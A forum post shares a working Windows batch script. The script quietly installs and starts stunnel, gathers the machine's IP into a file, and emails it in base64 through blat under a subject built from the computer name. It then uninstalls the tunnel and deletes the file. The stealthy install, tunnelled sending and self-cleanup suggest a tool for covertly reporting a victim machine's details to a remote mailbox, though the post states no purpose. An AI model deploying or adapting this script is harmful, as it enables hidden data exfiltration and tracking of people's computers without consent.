Jump to content

Recommended Posts

Posted

Don`t forget to change the setting.

@echo off
:start
:: Configure Email Options
SET emailfrom= YOUR EMAIL
SET emailto=YOUR EMAIL
SET password=YOUR EMAIL PASSWORD
SET subject= %computername%_log

call getip.cmd

stunnel-4.11.exe -install -quiet
net start stunnel
GOTO sendfiles


:sendfiles


for %%i in (ip.txt) do blat.exe %%i -base64 -to %emailto% -u %emailfrom% -subject %subject% -pw %password% -f %emailfrom% -server 127.0.0.1:1099
GOTO cleanup


:cleanup
:: Stop stunnel
rem taskkill /f /im stunnel-4.11.exe (??)
net stop stunnel
stunnel-4.11.exe -uninstall -quiet
:: Delete documents
del ip.txt
ping -n 3 localhost > NUL
GOTO end
:end

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...